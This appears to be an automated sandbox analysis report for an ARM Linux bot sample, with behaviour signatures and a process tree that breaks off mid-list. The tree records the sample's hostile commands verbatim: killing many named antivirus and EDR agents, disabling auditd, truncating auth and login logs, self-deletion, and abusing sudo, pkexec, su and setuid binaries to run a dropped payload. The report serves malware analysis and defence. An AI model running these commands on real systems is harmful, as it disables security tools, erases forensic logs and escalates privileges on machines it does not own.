Analysis
- max time kernel
150s - max time network
152s - platform
debian-12_armhf - resource
debian12-armhf-20260513-en - resource tags
- submitted
29/09/2026, 04:39
General
- Target bot.armv6.elf
- Size 989KB
- Sample260929-e93hbseh83
- SHA256 e7c9daa4ac7475b08afebbec7d421fed98d822db91bf4fbb8ca4e4831b69137b
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- OS Credential Dumping 1 TTPs 2 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 8 IoCs
Abuse sudo or cached sudo credentials to execute code.
- Reads AppArmor ptrace settings 1 TTPs 1 IoCs
Discovery of allowed ptrace capabilities by AppArmor.
- Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
- Deletes log files 1 TTPs 4 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads MAC address of network interface 2 TTPs 2 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
- Reads network interface configuration 2 TTPs 6 IoCs
Fetches information about one or more active network interfaces.
- Schedules an At job 1 TTPs 2 IoCs
Schedules a job to be run using the at command.
- Uses Polkit to run commands 2 IoCs
Uses Polkit pkexec as a proxy to execute commands, possibly to bypass security restrictions.
- Changes its process name 1 IoCs
- Checks CPU configuration 1 TTPs 5 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 10 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 8 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/bot.armv6.elf/tmp/bot.armv6.elf1⤵
- Modifies Watchdog functionality
- Checks hardware identifiers (DMI)
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Writes file to tmp directory
-
/bin/shsh -c -- "cp /proc/self/exe /var/.z 2>/dev/null && chmod +x /var/.z 2>/dev/null"2⤵
- File and Directory Permissions Modification
-
/usr/bin/cpcp /proc/self/exe /var/.z3⤵
-
-
/usr/bin/chmodchmod +x /var/.z3⤵
- File and Directory Permissions Modification
-
-
-
/bin/shsh -c -- "pkill -9 -x kavsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavf4 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavguard 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp5 2>/dev/null &"2⤵
-
/usr/bin/pkillpkill -9 -x avp53⤵
- Reads runtime system information
-
-
-
/bin/shsh -c -- "pkill -9 -x avp6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msvsc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msasc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msmpeng 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast5 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avastsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ash 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ashmaisv 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamdscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamonacc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpsvc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpcc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpm.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp9.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp10.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp11.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp12.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp13.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp14.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp15.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp16.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp17.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp18.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp19.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp20.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp21.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp22.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp23.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp24.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp25.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp26.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp27.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp28.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp29.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp30.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp31.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp32.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp33.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp34.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp35.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp36.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp37.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp38.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp39.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp40.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp41.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp42.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp43.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp44.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp45.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp46.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp47.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp48.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp49.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp50.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcond 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]sagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]rowdstrike 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelhelper 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-service 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [x]agt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bdefense 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]arbonblack 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]epwel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]ylance 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]vcdiva 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]datp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]dallaips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -f [s]ensedata 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ophos 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]avscanner 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]tvscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ymantec 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [S]ymAux 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [t]rendmicro 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [d]s_agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]dragent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [o]squeryd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ysmon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]lamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]lscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]avfs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]krn 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]sets 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [b]dagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [w]rsa 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]bam 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]alwarebytes 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [3]60tray 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [3]60safe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [h]ipstray 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -f [u]sysdiag 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [q]axengine 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [p]andad 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [p]sanhost 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]savgui 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]-secure 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]avtray 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [v]ipre 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -f [s]bamsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [g]data 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [i]karus 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [d]rweb 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]service 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "auditctl -e 0 2>/dev/null &pkill -9 [a]uditd 2>/dev/null &pkill -9 -f [s]noop 2>/dev/null &pkill -9 -f [a]ccton 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "truncate -s 0 /var/log/auth* /var/log/secure /var/log/wtmp /var/log/lastlog 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.arm 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mpsel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x gafgyt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x bashlite 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x tsunami 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x hakai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x sora 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x qbot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x astaroth 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ozyman 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x nihappy 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "unlink /proc/self/exe 2>/dev/null; for fd in /proc/self/fd/*; do unlink \$fd 2>/dev/null; done &"2⤵
-
/usr/bin/unlinkunlink /proc/self/exe3⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/03⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/13⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/103⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/113⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/23⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/33⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/43⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/53⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/63⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/73⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/83⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/93⤵
-
-
-
/bin/shsh -c -- "/usr/bin/mailq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/mailq/usr/bin/mailq -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/usr/bin/mount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/mount/usr/bin/mount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/su -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/su/usr/bin/su -c "exec /tmp/.z &"3⤵
- OS Credential Dumping
-
/bin/bashbash -c "exec /tmp/.z &"4⤵
-
-
-
-
/bin/shsh -c -- "/usr/bin/at -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/at/usr/bin/at -c "exec /tmp/.z &"3⤵
- Schedules an At job
-
-
-
/bin/shsh -c -- "/usr/bin/umount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/umount/usr/bin/umount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/atrm -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atrm/usr/bin/atrm -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/passwd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/passwd/usr/bin/passwd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/atq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atq/usr/bin/atq -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/newgrp -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/newgrp/usr/bin/newgrp -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/pkexec -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/pkexec/usr/bin/pkexec -c "exec /tmp/.z &"3⤵
- Uses Polkit to run commands
-
-
-
/bin/shsh -c -- "/usr/bin/sudo -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudo/usr/bin/sudo -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/usr/bin/chsh -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chsh/usr/bin/chsh -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/gpasswd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/gpasswd/usr/bin/gpasswd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sg -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/sg/usr/bin/sg -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/newaliases -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/newaliases/usr/bin/newaliases -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/usr/bin/chfn -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chfn/usr/bin/chfn -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sudoedit -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudoedit/usr/bin/sudoedit -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/bin/mailq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/mailq/bin/mailq -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/bin/mount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/mount/bin/mount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/su -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/su/bin/su -c "exec /tmp/.z &"3⤵
- OS Credential Dumping
-
/bin/bashbash -c "exec /tmp/.z &"4⤵
-
-
-
-
/bin/shsh -c -- "/bin/at -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/at/bin/at -c "exec /tmp/.z &"3⤵
- Schedules an At job
-
-
-
/bin/shsh -c -- "/bin/umount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/umount/bin/umount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/atrm -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/atrm/bin/atrm -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/passwd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/passwd/bin/passwd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/atq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/atq/bin/atq -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/newgrp -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/newgrp/bin/newgrp -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/pkexec -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/pkexec/bin/pkexec -c "exec /tmp/.z &"3⤵
- Uses Polkit to run commands
-
-
-
/bin/shsh -c -- "/bin/sudo -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/bin/sudo/bin/sudo -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/bin/chsh -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/chsh/bin/chsh -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/gpasswd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/gpasswd/bin/gpasswd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/sg -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/sg/bin/sg -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/newaliases -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/newaliases/bin/newaliases -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/bin/chfn -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/chfn/bin/chfn -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/sudoedit -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/bin/sudoedit/bin/sudoedit -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "find / -perm -4000 -type f -exec /tmp/.z \\; 2>/dev/null"2⤵
-
/usr/bin/findfind / -perm -4000 -type f -exec /tmp/.z ";"3⤵
- Reads AppArmor ptrace settings
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
-
-
/usr/bin/pkillpkill -9 -x kavsvc1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x kavf41⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x kavguard1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp61⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x msvsc1⤵
-
/usr/bin/pkillpkill -9 -x msasc1⤵
-
/usr/bin/pkillpkill -9 -x msmpeng1⤵
-
/usr/bin/pkillpkill -9 -x msseces1⤵
-
/usr/bin/pkillpkill -9 -x msseces.exe1⤵
-
/usr/bin/pkillpkill -9 -x avast1⤵
-
/usr/bin/pkillpkill -9 -x avast51⤵
-
/usr/bin/pkillpkill -9 -x avast61⤵
-
/usr/bin/pkillpkill -9 -x avastsvc1⤵
-
/usr/bin/pkillpkill -9 -x ash1⤵
-
/usr/bin/pkillpkill -9 -x ashmaisv1⤵
-
/usr/bin/pkillpkill -9 -x avgnt1⤵
-
/usr/bin/pkillpkill -9 -x avgnt.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avgnt21⤵
-
/usr/bin/pkillpkill -9 -x avgnt31⤵
-
/usr/bin/pkillpkill -9 -x clamd1⤵
-
/usr/bin/pkillpkill -9 -x clamdscan1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x clamonacc1⤵
-
/usr/bin/pkillpkill -9 -x f-prot1⤵
-
/usr/bin/pkillpkill -9 -x f-prot641⤵
-
/usr/bin/pkillpkill -9 -x f-sport1⤵
-
/usr/bin/pkillpkill -9 -x f-sport641⤵
-
/usr/bin/pkillpkill -9 -x smon1⤵
-
/usr/bin/pkillpkill -9 -x smon21⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x smon31⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x mcs1⤵
-
/usr/bin/pkillpkill -9 -x mcs21⤵
-
/usr/bin/pkillpkill -9 -x mcs31⤵
-
/usr/bin/pkillpkill -9 -x navpsv321⤵
-
/usr/bin/pkillpkill -9 -x navpsv641⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x navw321⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x navw641⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avpsvc.exe1⤵
-
/usr/bin/pkillpkill -9 -x avpcc.exe1⤵
-
/usr/bin/pkillpkill -9 -x avpm.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp9.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp10.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp11.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp12.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp13.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp14.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp15.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp16.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp17.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp18.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp19.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp20.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp21.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp22.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp23.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp24.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp25.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp26.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp27.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp28.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp29.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp30.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp31.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp32.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp33.exe1⤵
-
